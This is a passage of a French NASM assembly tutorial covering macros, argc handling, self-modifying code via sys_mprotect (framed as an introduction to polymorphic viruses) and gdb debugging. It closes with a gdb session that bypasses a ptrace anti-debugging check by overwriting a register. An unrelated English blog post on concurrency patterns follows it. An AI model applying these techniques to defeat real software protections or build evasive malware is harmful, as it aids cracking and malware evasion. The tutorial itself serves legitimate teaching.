    Il ne faut pas oublier que le registre FLAGS est modifiable via d'autres mnémoniques.
  1. Macros
    NASM comporte un outil très puissant, j'ai nommé le processeur de macros. Cet outil nous permet de définir des instructions plus ou moins complexes réutilisables de façon assez simple une fois que l'on a maîtriser la syntaxe. Dans ce chapitre nous allons apprendre à utiliser les macros déjà disponibles et à créer nos macros.
  • Les macros simples :
    Les macros simples permettent par le biais du préprocesseur de définir de nouvelles macros tout comme en C. Le mot clé permettant cette prouesse est “%define” et ses dérivés.
    %define ctrl 0x1F &                     ; définition de ctrl = 0x1F &
    %define param(a,b) ((a)+(a)*(b))        ; définition de param()
    
    mov byte [param(2,ebx)], ctrl 'D'       ; = mov byte [(2)+(2)*(ebx)], 0x1F & 'D'
    La macro %define ne subit pas la limitation des expressions critiques.
    %define a(x) 1+b(x)
    %define b(x) 2*x
    
    mov ax, a(8)    ; mov ax, 1+2*8
    Les noms des macros sont sensibles à la casse. C'est pour cela qu'il y a “%idefine” qui permet de définir un ensemble de noms pour la macro.
    %define foo bar         ; foo
    %idefine foo bar        ; foo, FOO, fOo, foO, ...
    Il est également possible de surcharger les arguments d'une macro :
    %define foo(x) 1+x
    %define foo(x, y) 1+x*y
    
    mov ax, foo(4)          ; ax = 1+4
    mov ax, foo(4,5)        ; ax = 1+4*5
    Parlons un peu de “%xdefine”. Cette instruction permet de déclarer une macro en fonction de son contexte et non pas comme “%define” qui elle déclare une macro en fonction de la valeur au moment de l'appelle à celle-ci. Un exemple :
    %define isTrue 1
    %define isFalse isTrue
    %define isTrue 0
    
    val1: db isFalse    ; val1 = 0
    
    %define isTrue 1
    
    val2: db isFalse    ; val2 = 1
    %xdefine isTrue 1
    %xdefine isFalse isTrue
    %xdefine isTrue 0
    
    val1: db isFalse        ; val1 = 1
    
    %xdefine isTrue 1
    
    val2: db isFalse        ; val2 = 1

    Dans le cas de “%define”, val1 prend la valeur 0 car lorsque l'on appel la macro “isFalse”, “isTrue” vaut 0 ; de même pour val2.
    Pour “%xdefine” val1 vaut 1 car lorsque l'on déclare “isFalse”, “isTrue” vaut 1. Ainsi “isFalse” vaudra toujours 1 quelque soit la valeur de “isTrue“ plus loin dans le code.

    Il existe une autre instruction pour créer des macros : “%assign”. Celle-ci n'est utilisée que pour les macros d'une ligne ne prenant aucuns arguments et de valeur numérique. On la retrouve souvent lorsqu'il faut effectuer une incrémentation ou décrémentation dans une macro.

    Pour détruire une macro on utilise le mot clé “%undef”
  • Les macros sur plusieurs lignes :
    La définition d'une macro de plusieurs lignes passe par le mot-clé “%macro” avec cette syntaxe :
    %macro nom_de_macro nb_arguments
    ; un peu de code
    %endmacro
    Où nom_de_macro est le nom de la macro et nb_arguments un nombre représentant le nombre d'arguments passés à la macro. Un exemple :
    %macro silly 2
            %2: db %1
    %endmacro
    Où %2 représente le deuxième argument et %1 le premier argument.
    silly 'hello_world', hello      ; hello: db 'hello_world'
    De plus on peut déclarer un intervalle d'arguments et des valeurs par défaut :
    %macro silly 2+ ; 2 arguments ou plus
    %endmacro
    
    %macro foobar 1-3 eax, [ebx+2]  ; au minimum 1 argument
                                    ; et pas plus de 3 arguments
    %endmacro
    Pour la macro foobar, lorsque les arguments %2 et %3 ne sont pas déclarés, %2 = eax et %3 = [ebx+2].
    L'astérisque (*) permet de déclarer un nombre infini d'arguments.

    L'argument %0 est le nombre d'arguments passés à la macro.

    L'instruction %rotate permet de faire tourner les arguments de la macro de x vers la gauche ou la droite respectivement si x est positif ou si x est négatif.
    %macro multipush 1-*   ; 1 arguments minimum
        %rep %0            ; boucle tant qu'il y a des arguments
           push %1         ; on push l'argument courant
           %rotate 1       ; on passe à l'argument suivant
        %endrep            
    %endmacro
  1. Analyse de Code
    Maintenant que nous possédons les notions théoriques essentielles (et un peu plus quand même :D) nous allons étudier quelques codes nasm. Histoire de voir à quoi cela peut nous servir en pratique.
  • Macro ENUM :
    Un petit code source de mammon_ tiré du Assembly Programming Journal. Cette macro permet de créer une énumération de variables associées à des valeurs numériques. Tout comme le fait le mot-clé enum en C.
    ;Summary: A NASM macro emulating the C 'ENUM" command
    ;Assembler: NASM
    ;by mammon_ && modified by Flyers
    %macro ENUM 2-*     ;Usage: ENUM int SYMBOLS
    %assign i %1        ;  where int is the number to begin enumeration at [0]
    %rep %0 -1          ;  SYMBOLS is a list of Symbols to define
      %2 EQU i          ;Example: ENUM 0, TRUE, FALSE
      %assign i i+1     ;  this EQUates TRUE to 0 and FALSE to 1
      %rotate 1         ;Example: ENUM 11, JACK, QUEEN, KING
    %endrep             ;  this EQUs JACK to 11, QUEEN to 12, KING to 13
    %endmacro
    Ce code ne devrait pas vous être si dur à assimiler maintenant mais je vais vous aider.
    On commence par créer la macro avec au minimum deux paramètres.
    On initialise i à la valeur du premier élément à énumérer (soit le premier argument de la macro).
    On attribue ensuite à chaque argument (-1 pour ne pas prendre en compte le premier argument) la valeur de i que l'on incrémente. On peut résumer cela par une boucle “for ( i = %1; i < %0 -1; i++)”.
  • Recup de argc :
    Nous allons étudier un bout de code qui s'occupe de récupérer argc (vous savez c'est la variable contenant le nombre d'arguments passés au programme en ligne de commande), qui le transforme en caractère et qui l'affiche à l'écran.
    Avant de commencer il faut que vous ayez quelques connaissances indispensables :

    - La pile, lorsqu'un programme est lancer sous linux, ressemble à ça :
    argc
    [dword] compteur d'arguments (integer)
    argv[0]
    [dword] nom du programme (pointer)
    argv[1]
    ...
    argv[argc-1]
    [dword] arguments du programme (pointers)
    NULL
    [dword] fin des arguments (integer)
    env[0]
    env[1]
    ...
    env[n]
    [dword] variables d'environnement (pointers)
    NULL
    [dword] fin des variables d'environnement (integer)
    Mais il faut savoir que ce schémas ne s'applique que lorsqu'on ne lie pas notre programme avec la libc cad lorsque l'on n'utilise pas gcc. Quand la libc est utilisée il reste dans la pile une valeur de retour. Il faut donc la nettoyée comme on le fait dans le code.

    - En informatique on a créé des tables de caractères qui sont des correspondances entre des caractères et des valeurs numériques. La plus vieille est la table de caractère ASCII. On remarque dans celle-ci que le nombre 0 est représenter par la valeur 48 en décimal soit 0x30 en héxadécimal. C'est donc en ajoutant 0x30 à la valeur numérique que j'obtiens la string correspondante. Il y a un problème majeur à cette astuce : je ne peux afficher que les valeurs ASCII des nombres allant de 0 à 9 seulement. Donc le programme souffre d'un bug connu (dommage pour les bidouilleurs qui auraient cru faire une trouvaille).

    - Il faut se souvenir que le registre esp pointe sur le haut de la pile.

    Voila, maintenant le code en question commenter et j'espère compréhensible :
    ; nasm -f elf argc.asm
    ; ld argc.o -o argc
    ; pour ne pas passer par la libc
    ; gcc argc.o -o argc
    ; pour utiliser la libc
    ; by Flyers
    
    segment .text:
            global _start   ; gcc : global main
            
    _start:                 ; gcc : main:
            pop eax         ; ld : argc ; gcc : valeur de retour de la libc
    ;       pop eax         ; gcc : argc
    ;       pop eax         ; argv[0]
    ;       pop eax         ; the first real arg 
    
            push 0x0A30             ; on push 30 pour convertir argc en ASCII 
                                    ; et 0A pour la fin de chaîne
            add     [esp],eax       ; on ajoute ce que contient la stack à argc
            mov     edx, 2          ; on affichera 2 bytes (argc+\0)
            mov     ecx, esp        ; la chaîne à afficher
            mov     ebx,1           ; file handle, ou l'on écrit (STDOUT)
            mov     eax,4           ; sys_write
            int     80h             ; call kernel
            
            ; pour éviter que le programme ne segfault à la fin on appel sys_exit
            mov     eax,1
            xor     ebx,ebx
            int     80h
  • Code s'auto-modifiant :
    Un code s'auto-modifiant est un code capable de se modifier lui même lors de l'éxécution. L'étude d'un tel code peut être une bonne introduction à la programmation de virii polymorphiques. Pour créé un code s'auto-modifiant, il faut être capable de jongler entre les adresses des différentes instructions car on ne peut spécifier d'adresse statique lorsque le programme est en éxécution, on utilise donc des adresses relatives comme vous allez le voir.

    Karsten Scheibler a écrit un très bon article dont voici une brève traduction :

    L'idée principale : il existe un syscall, sys_mprotect, qui permet de modifier les flags pour (presque) toutes les pages. Une page est la plus petite unité dans la gestion de la mémoire virtuelle. Sur les processeurs x86, la taille de la page est de 4Ko. Mais il n'est pas nécessaire de faire appel à ce syscall pour donner à la section .bss les droits en éxécution car sur les processeurs x86, une page avec les droits de lecture a également les droits en éxécution et la section .bss est en lecture/écriture. Mais ce syscall risque de devenir obsolète avec l'apparition du NX-flag sur les nouveaux processeurs.

    Les deux premiers exemples copient un bout de code dans la section .bss puis l'éxécute. Parce que nous avons les droits en lecture/écriture/éxécution dans cette zone mémoire, le programme peut s'auto-modifier. Le premier exemple (code1_start) copie un simple hello_world (utilisant sys_write), mais avant de l'éxécuter nous modifions quelques valeurs dans le code (le début et la taille de la chaîne à afficher). Le deuxième (code2_start) effectue une vraie auto-modification. L'instruction “rep stosb” écrase les quatre premiers “inc ebx” avec des “nop”, ainsi la chaîne à afficher à l'écran contient 04h au lieu de 08h attendu. Le troisième exemple (endless), quant à lui, modifie du code dans la section .text en y ajoutant les droits en lecture/écriture/éxécution via sys_mprotect.

    Note : Si vous voyez un 08h au lieu de 04h à l'écran, vous devriez connaître un drôle de comportement des codes s'auto-modifiants. Sur les processeurs clone du Pentium, la modification de la queue n'est pas prise en compte tout de suite. Il faut en quelque sorte rafraîchir la queue, pour cela un simple jmp suffit (essayez avec un “jmp” juste après le “rep stosb”).
    ;****************************************************************************
    ;****************************************************************************
    ;*
    ;* USING SELF MODIFYING CODE UNDER LINUX
    ;*
    ;* written by Karsten Scheibler, 2004-AUG-09
    ;*
    ;****************************************************************************
    ;****************************************************************************
    
    global _start
    
    ;****************************************************************************
    ;* some assign's
    ;****************************************************************************
    %assign SYS_WRITE                       4
    %assign SYS_MPROTECT                    125
    
    %assign PROT_READ                       1
    %assign PROT_WRITE                      2
    %assign PROT_EXEC                       4
    
    ;****************************************************************************
    ;* data
    ;****************************************************************************
    section .bss
                                            alignb  4
    modified_code:                          resb    0x2000
    
    ;****************************************************************************
    ;* smc_start
    ;****************************************************************************
    section .text
    _start:
    
            ;calcul l'adresse de la section .bss, elle doit se trouvée entre
            ;deux pages (x86: 4KB = 0x1000)
            ;NOTE: Dans cet exemple c'est inutile car chaque segment est aligné
            ;      en fonction des pages et nous ne l'utilisons qu'une fois, 
            ;      donc nous savons qu'il est entre deux pages, mais si vous avez
            ;      plus d'une section .bss dans votre programme vous ne pouvez
            ;      en être sûr.
    
            mov     dword ebp, (modified_code + 0x1000)
            and     dword ebp, 0xfffff000
    
            ;change les flags de la section en lecture/écriture/éxécution,
            ;NOTE: Sur les processeurs x86 cela est inutile comme cela a 
            ;      déjà été vu plus haut.
    
            mov     dword eax, SYS_MPROTECT
            mov     dword ebx, ebp
            mov     dword ecx, 0x1000
            mov     dword edx, (PROT_READ | PROT_WRITE | PROT_EXEC)
            int     byte  0x80
            test    dword eax, eax
            js      near  smc_error
    
            ;éxécute le code non modifié
    
    code1_start:
            mov     dword eax, SYS_WRITE
            mov     dword ebx, 1
            mov     dword ecx, hello_world_1
    code1_mark_1:
            mov     dword edx, (hello_world_2 - hello_world_1)
    code1_mark_2:
            int     byte  0x80
    code1_end:
    
            ;copie le code vers la bonne page (dont l'adresse est encore dans ebp)
    
            mov     dword ecx, (code1_end - code1_start)
            mov     dword esi, code1_start
            mov     dword edi, ebp
            cld
            rep movsb
    
            ;on y ajoute le code héxa de l'instruction 'ret', comme cela
            ;nous pourrons utiliser call
            
            mov     byte  al, [return]
            stosb
    
            ;change quelques valeurs dans le code: l'adresse de début du texte 
            ;et sa taille
    
            mov     dword eax, hello_world_2
            mov     dword ebx, (code1_mark_1 - code1_start)
            mov     dword [ebx + ebp - 4], eax
            mov     dword eax, (hello_world_3 - hello_world_2)
            mov     dword ebx, (code1_mark_2 - code1_start)
            mov     dword [ebx + ebp - 4], eax
    
            ;finalement on l'appel
    
            call    dword ebp
    
            ;copie le deuxième exemple
    
            mov     dword ecx, (code2_end - code2_start)
            mov     dword esi, code2_start
            mov     dword edi, ebp
            rep movsb
    
            ;fait quelque chose de vraiment méchant: edi pointe juste après
            ;l'instruction 'rep stosb', donc cela va réellement modifier le code
    
            mov     dword edi, ebp
            add     dword edi, (code2_mark - code2_start)
            call    dword ebp
    
            ;modifie le code dans la section .text
    
    endless:
            ;ajoute les droits à la section .text pour la modifiée
    
            mov     dword eax, SYS_MPROTECT
            mov     dword ebx, smc_start
            and     dword ebx, 0xfffff000
            mov     dword ecx, 0x2000
            mov     dword edx, (PROT_READ | PROT_WRITE | PROT_EXEC)
            int     byte  0x80
            test    dword eax, eax
            js      near  smc_error
    
            ;affiche le message à l'écran
    
            mov     dword eax, SYS_WRITE
            mov     dword ebx, 1
            mov     dword ecx, endless_loop
            mov     dword edx, (hello_world_1 - endless_loop)
            int     byte  0x80
    
            ;ici, les instructions empêchant la boucle sans fin
    
            mov     dword ecx, (smc_end_1 - smc_end)
            mov     dword esi, smc_end
            mov     dword edi, endless
            rep movsb
    
            ;et on recommence
    
            jmp     short endless
    
    ;****************************************************************************
    ;* code2
    ;****************************************************************************
    
            ;ici les adresses des instructions dont on rajoute les 
            ;codes héxa dans notre code 
    
    return:
            ret
    no_operation:
            nop
    
            ;ici du vrai code s'auto-modifiant, s'il est bien 
            ;copier dans .bss et edi bien charger, ebx doit contenir
            ;0x4 au lieu de 0x8
    
    code2_start:
            mov     byte  al, [no_operation]
            xor     dword ebx, ebx
            mov     dword ecx, 0x04
            rep stosb
    code2_mark:
            inc     dword ebx
            inc     dword ebx
            inc     dword ebx
            inc     dword ebx
            inc     dword ebx
            inc     dword ebx
            inc     dword ebx
            inc     dword ebx
            call    dword [function_pointer]
            ret
    code2_end:
                                            align 4
    function_pointer:                       dd      write_hex
    
    ;****************************************************************************
    ;* write_hex
    ;****************************************************************************
    write_hex:
            mov     byte  bh, bl
            shr     byte  bl, 4
            add     byte  bl, 0x30
            cmp     byte  bl, 0x3a
            jb      short .number_1
            add     byte  bl, 0x07
    .number_1:
            mov     byte  [hex_number], bl
            and     byte  bh, 0x0f
            add     byte  bh, 0x30
            cmp     byte  bh, 0x3a
            jb      short .number_2
            add     byte  bh, 0x07
    .number_2:
            mov     byte  [hex_number + 1], bh
            mov     dword eax, SYS_WRITE
            mov     dword ebx, 1
            mov     dword ecx, hex_text
            mov     dword edx, 9
            int     byte  0x80
            ret
    
    section .data
    hex_text:               db      "ebx: "
    hex_number:             db      "00h", 10
    
    ;****************************************************************************
    ;* some text
    ;****************************************************************************
    endless_loop:           db      "No endless loop here!", 10
    hello_world_1:          db      "Hello World!", 10
    hello_world_2:          db      "This code was modified!", 10
    hello_world_3:
    
    ;****************************************************************************
    ;* smc_error
    ;****************************************************************************
    section .text
    smc_error:
            xor     dword eax, eax
            inc     dword eax
            mov     dword ebx, eax
            int     byte  0x80
    
    ;****************************************************************************
    ;* smc_end
    ;****************************************************************************
    section .text
    smc_end:
            xor     dword eax, eax
            xor     dword ebx, ebx
            inc     dword eax
            int     byte  0x80
    smc_end_1:
    ;*********************************************** linuxassembly@unusedino.de *
    Vous avez toutes les connaissances théoriques pour comprendre le fonctionnement du code en général. Si vous voulez le comprendre plus en détail, allez voir les mnémoniques que vous ne comprenez pas dans le manuel de nasm ou essayez de calculer les adresses relatives en imaginant que les labels représentent des adresses fixes.
  1. Debuggers
    Pour découvrir les sources de bugs dans un code compiler on utilise des debuggers. Il en existe de deux sortes : les debuggers passifs et les debuggers actifs. Les debuggers passifs sont également appelés désassembleurs car ils ne font qu'afficher le code source de l'éxécutable. Ainsi, ils sont passifs du fait qu'ils n'éxécutent pas une ligne de code. Les debuggers actifs, eux, éxécutent le code tout en permettant grâce à certains signaux système de bloquer l'éxécution du programme.
  • Ndisasm :Cet outil est le désassembleur Nasm. Créé par les développeurs de notre compilo favori, il affiche en sortie du code nasm (cad avec la syntaxe intel). Bien que le code de sortie puisse paraître différent du fichier source.
    Une petite astuce : si vous voulez que le code désassembler ressemble un peu plus à ce que vous avez coder utilisez l'option -b 32. Qui spécifie que le code sera désassemblé en utilisant des registres de 32 bits.
    ndisasm -b 32 hello_world | less
  • GDB :gdb est le debugger fournie par défaut avec Linux, il est à gcc ce qu'est ndisasm à nasm. Bien qu'il soit beaucoup plus développé. gdb est un debugger ce qui veut dire qu'il est capable de lancer un processus, de le bloquer, de le désassembler ...
    Nous allons voir comment effectuer quelques opérations de bases avec gdb via un exemple.
    Nous allons donc chercher à debugger un programme simple qui s'occupe de nous donner la moyenne de plusieurs nombres contenus dans un tableau.
    #include <stdio.h>
    
    int main(void) {
            int a[10] = {1, 58, 45, 87, 78, 98, 15, 56, 78, 21};
            printf ("Moyenne du tableau a : %d", moyenne(a, sizeof(a)));
            return 0;
    }
    
    int moyenne(int tableau[], int taille) {
            int total = 0, moyenne, i;
            for( i=0; i<taille; i++)
                    total += tableau[i];
            return total/taille;
    }
    Pour compiler ce code nous allons utiliser l'option -g de gcc permettant d'avoir des informations de debuggage plus précises : gcc moyenne.c -g -o moyenne.
    flyers@Cyfik:~$ gdb moyenne
    
    (gdb) run
    Starting program: /home/flyers/moyenne 
    Moyenne du tableau a : 10027686
    Program exited normally.
    
    (gdb) break main
    Breakpoint 1 at 0x8048394: file moyenne.c, line 12.
    On place un breakpoint à l'adresse de la fonction main() : 0x8048394. Et on relance le programme.
    (gdb) run
    Starting program: /home/flyers/moyenne 
    
    Breakpoint 1, main () at moyenne.c:12
    12              int a[10] = {1, 58, 45, 87, 78, 98, 15, 56, 78, 21};
    
    (gdb) print a
    $1 = {0, 134518396, -1073742984, 134513293, -1208116144, -1073742972, 
      -1073742952, 134513787, -1073742804, -1208116128}
    On affiche notre tableau qui n'est pas encore initialisé (c'est pour ça qu'il contient des valeurs fantaisistes).
    (gdb) next
    13              printf ("Moyenne du tableau a : %d", moyenne(a, sizeof(a)));
    (gdb) print a
    $2 = {1, 58, 45, 87, 78, 98, 15, 56, 78, 21}
    Après initialisation, il est tout beau le tableau :)
    (gdb) step
    moyenne (tableau=0xbffffb60, taille=40) at moyenne.c:18
    18              int total = 0, moyenne, i;
    next permet de passer à l'instruction suivante mais pas à sauter vers la fonction appelée tandis que step sert justement à cela. On saute dans la fonction moyenne()
    (gdb) display tableau[i]
    1: tableau[i] = 1
    
    (gdb) display total
    2: total = -1073742896
    display permet d'afficher les valeurs des variables de façon actualisée.
    (gdb) next
    19              for( i=0; i<taille; i++)
    2: total = -1208115591
    1: tableau[i] = -1208116128
    Après une bonne vingtaine de next (lorsque l'on valide une ligne vide, gdb refait l'instruction précédente), on se rend compte que des valeurs bizarres sont ajoutées à la variable total. Cela est dûe à la variable taille qui est à la base du fait que l'on effectue trop d'itérations, ce qui fait que la variable tableau[i] prend des valeurs au hasard dans la pile et celles-ci sont ajoutées à la valeur de la variable total.
    L'initialisation de la variable taille est donc foireuse. En effet, sizeof ne renvoie pas le nombre d'éléments contenues dans le tableau mais la taille en octet de celui-ci ce qui donne donc 40 (10 * int où int = 4 sur notre x86).
    (gdb) quit
    The program is running.  Exit anyway? (y or n) y
    Ainsi si l'on modifie la ligne
    moyenne(a, sizeof(a))
    par
    moyenne(a, sizeof(a)/sizeof(*a))
    notre programme fonctionnera parfaitement avec une variable taille contenant 10.

    gdb permet d'utiliser de nombreuses commandes, ce qui risque d'être fastidieux à apprendre et à taper surtout pour les gros programmes à debugger c'est pour cela qu'il existe des abbréviations de ces commandes (ainsi que l'auto-complétion cf: touche “TAB”) dont voici un petit récapitulatif :
    help
    h
    Accéder à l'aide
    run
    r
    Lancer le processus
    next
    n
    Ligne suivante dans le code
    step
    s
    Sauter dans une fonction
    break
    b
    Mettre en place un breakpoint
    print
    p
    Afficher une variable
    quit
    q
    Quitter gdb
    frame
    f
    Affiche des informations sur la page de pile courante
    backtrace
    bt
    Affiche la pile d'appels
    info
    i
    Donne des informations (info sans arguments pour savoir sur quoi)
    disable
    dis
    Désactiver momentanément un breakpoint
    enable
    en
    Activer un breakpoint
    delete
    d
    Supprimer un breakpoint
    continue
    c
    Continuer le programme après un breakpoint
    disassemble
    disass
    Désassemble tout ou partie du code.

    La commande set permet de définir toute sorte de paramètres (dans gdb ou dans le programme en cours de debuggage). Pour voir tout ce que l'on peut définir : “h set“. Une petite astuce pour nous autre asmongueurs :) à la sauce intel : gdb de base désassemble le code dans la syntaxe gas ce qui n'est pas très compréhensible pour nous, qu'à cela ne tienne, la commande “set disassembly-flavor intel” réparera cet affront et faira en sorte que le code désassemblé sera dans la syntaxe intel.
  • Strace :Strace est un debugger actif permettant de suivre tous les appels et les signaux émis par le programme. Cet utilitaire est très utile pour commencer l'étude du fonctionnement d'un binaire au sein du système.
    Par exemple, si l'on strace notre hello_world de début d'article, on ne verra que les appels aux syscall write et exit. Tandis que le strace de hello_printf nous montreras tous les appels et signaux de la libc lors du lancement du programme ainsi que lors de la sortie. Je vous laisse tester par vous mêmes :).
  • Application :Nous allons maintenant appliquer les notions que nous avons apprises ci-avant. Pour cela on va tenter d'outre-passer une protection de type anti-ptrace. Le code contenant la protection “ptraced.c”:
    #include <sys/ptrace.h>
    
    int main(){
    if (ptrace(PTRACE_TRACEME, 0, 1, 0) == -1) exit(1);
    puts("FOO");
    }
    Ainsi donc, si le programme est ptracé alors le programme quitte. Sinon il nous affiche la chaîne “FOO”.
    flyers@Cyfik:~$ gdb ptraced
    
    (gdb) r
    Starting program: /home/flyers/Data/Code/tmp/ptraced
    
    Program exited with code 01.           # Le code a bien repéré qu'on le ptrace
    
    (gdb) set disassembly-flavor intel
    
    (gdb) disass main
    Dump of assembler code for function main:
    0x080483f4 :   push   ebp
    0x080483f5 :   mov    ebp,esp
    0x080483f7 :   sub    esp,0x18
    0x080483fa :   and    esp,0xfffffff0
    0x080483fd :   mov    eax,0x0
    0x08048402 :   sub    esp,eax
    0x08048404 :   mov    DWORD PTR [esp+12],0x0
    0x0804840c :   mov    DWORD PTR [esp+8],0x1
    0x08048414 :   mov    DWORD PTR [esp+4],0x0
    0x0804841c :   mov    DWORD PTR [esp],0x0
    0x08048423 :   call   0x80482f8 <_init+56>
    0x08048428 :   cmp    eax,0xffffffff          # c'est ici que le code vérifie qu'on
                                                  # le ptrace
    0x0804842b :   jne    0x8048439               # si eax != -1 on saute à 0x8048439 
    0x0804842d :   mov    DWORD PTR [esp],0x1
    0x08048434 :   call   0x8048318 <_init+88>
    0x08048439 :   mov    DWORD PTR [esp],0x8048564
    0x08048440 :   call   0x80482e8 <_init+40>
    0x08048445 :   leave  
    0x08048446 :   ret    
    End of assembler dump.
    
    (gdb) b *0x08048428          # un breakpoint juste avant le jne
    Breakpoint 1 at 0x8048428: file ptraced.c, line 4.
    
    (gdb) r
    Starting program: /home/flyers/Data/Code/tmp/ptraced 
    
    Breakpoint 1, 0x08048428 in main () at ptraced.c:4
    4               if (ptrace(PTRACE_TRACEME, 0, 1, 0) == -1) exit(1);
    
    (gdb) p $eax
    $1 = -1
    
    (gdb) set $eax=0      # on change la valeur de eax pour faire croire au programme qu'il
                          # n'est pas ptracé
    
    (gdb) c
    Continuing.
    FOO
    
    Program exited with code 06.     # et ça marche !
    (gdb) 
    Comme le montre cette session, la méthodologie est tout d'abord de regarder (si on le peut) où se trouve la protection puis de trouver la méthode la plus adaptée pour l'outre-passer.
  1. Conclusion
    Vous devriez maintenant posséder toutes les notions pour faire vos propres programmes mais également pour comprendre ceux des autres. N'oubliez pas que si vous ne comprenez pas une mnémonique, le manuel nasm est là pour vous aidez ; si vous ne comprenez pas un syscall, il y a la liste des syscalls et enfin, si votre problème est impénétrable, pensez à nos amis debuggers :)
  2. Références
  3. Remerciements
    Un grand merci à tous ceux qui m'ont aidés à écrire cet article et à mieux comprendre l'assembleur. J'ai nommé :
    edcba
    Karsten Scheibler
    kaze
    mammon_
    neil
    viriiz

Par Flyers

Let's talk about concurrency

Hello, guys, today we'll tackle one of the most complex problem in computer programming called concurrency.

To be honest with you, we'll not really tackle the problem but see how some bright people resolved the issue and see some technologies that are based on these concepts.

Nowadays it's a fact that computing is scaling horizontally, meaning that we do not improve CPU frequencies so much but much more CPU cores number. This is because it is much more costly to do the first and that because the second approach is much more flexible. It is much easier to add a processor than to change his frequency and manage the heat and energy consumption.

We'll talk about these patterns that apply equaly in thread communication as of data management systems and briefly see how it works.

Locks

Most of computer scientist learn this pattern first, because historically it was the first to be implemented. In linux programming they're refered as Semaphores and provides mutual exclusion. The idea is that when you want to access a resource that is being modified by someone else, you need to wait until the modification is done (and you're notified) so you can access it. This ensures you data modification is pure, meaning that it does not matter how much time you run your program you'll have the same expected behavior.

For threads communication a pattern called CSP (Communicating Sequential Processes) is also blocking. When you want to communicate with a thread you wait until the message read is finished. With the years, this model was improved and allows asynchronous channel communication being one step nearer from the Actor pattern. This is the main communication pattern for Go programming language.

For example when you want to edit an entry in an InnoDB MySQL table, the row will be locked until the modification is commited in database. All ACID databases implement this pattern.

Transactions

This pattern is based on the same principle but allows some more flexibility, the idea of the transaction is that you'll get the data when you want, you edit it as you wish on a temporary log and then you commit your modifications hoping that there is no conflict, otherwise you just retry by taking the most fresh data and replay the modifications on it hoping that it works of course. If not you rollback.

In databases this is used a lot to optimize big bunchs of operations on a dataset, in MySQL it is called TRANSACTION. Most ACID databases implement this pattern.

In programming, we call it STM (Software Transactional Memory) but it is exactly the same idea with some improved versions. One of the benefit of this technic is that you can compose your transactions by making transactions of transactions, allowing more heavy operation batching. It is a nice pattern which is implemented in Haskell programming language. See Haskell wiki for more informations.

Actors

When you start working with real world concurrent applications no matter which of the preceeding pattern you use, you find yourself quickly overwhelmed with all the locking / transaction code you need to manage this. That's why the Actors pattern appeared, the idea is to see each thread as an actor that receive a message, act and send another message to someone else if necessary. This way, because the same data is never accessed at the same time by various actors, we do not even have to manage concurrent accesses.



In order to be sure to never have a shared memory usage we need to introduce a new concept, immutability. It ensures that any modification on a specified memory space will be stored in another memory space. One of the problem introduced is that a naive implementation will just blow up your program memory, that's why programming languages like Erlang or Haskell that are immutables, does some memory optimizations under the hood.

Erlang provide a native implementation of this pattern with some fine tools to manage the spawned processes and communication message updates.

As you noticed this time we talked about the threads communication part first, this is because I do not know any database that implements this model for now. The closer data management system that I can think of would be the Blockchain. Were the message is sent from an actor to another until the transaction is verified and completed, with a lot more occuring between these simplified steps.

Conclusion

These are some of the most known patterns, each has his drawbacks and benefits. I presented them in my personal preference order but I'd recommend you to test which one fits best with your needs. For example, actors pattern may not fit for low loaded applications because simplified programming is counterweighted by message queues management and process scheduling.

Disruptor

To finish I wanted to talk briefly about a pattern that is pretty new, and as some of you guys I'm just discovering it, the disruptor pattern. The idea is that you'll have a ring of messages space, one per producer, that will be accessible by as much consumer as you want. A consumer can also be a producer. The concept is interesting and seems to have good performances for some usecases. See Disruptor-1.0.pdf for mor details.

Thanks for reading,

See you soon.

Most seen